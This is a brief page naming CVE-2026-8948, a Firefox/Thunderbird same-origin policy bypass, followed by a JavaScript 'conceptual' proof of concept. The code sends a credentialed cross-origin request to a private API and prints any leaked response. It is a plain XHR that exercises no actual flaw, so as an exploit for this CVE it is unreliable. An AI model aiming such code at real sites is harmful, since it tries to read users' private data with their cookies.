CVE-2026-8948 Firefox/Thunderbird DOM同源策略绕过漏洞

// Proof of Concept for CVE-2026-8948 // Conceptual exploit demonstrating SOP bypass in DOM: Networking function poc_exploit() { // Target a sensitive endpoint on a different origin const targetUrl = 'https://example.com/private/api/data'; // Attempt to trigger the vulnerable DOM: Networking behavior // This simulates the logic flaw that bypasses SOP checks const vulnerableRequest = new XMLHttpRequest(); vulnerableRequest.open('GET', targetUrl, true); vulnerableRequest.withCredentials = true; // Attempt to send cookies vulnerableRequest.onload = function() { if (vulnerableRequest.status === 200) { // If SOP is bypassed, we can read the responseText console.log('[+] Exploit Successful! Leaked Data:'); console.log(vulnerableRequest.responseText); alert('SOP Bypassed: Data leaked to console.'); } else { console.log('[-] Request failed or blocked.'); } }; try { vulnerableRequest.send(); } catch (e) { console.error('Execution blocked by browser security:', e); } } // Execute the PoC poc_exploit();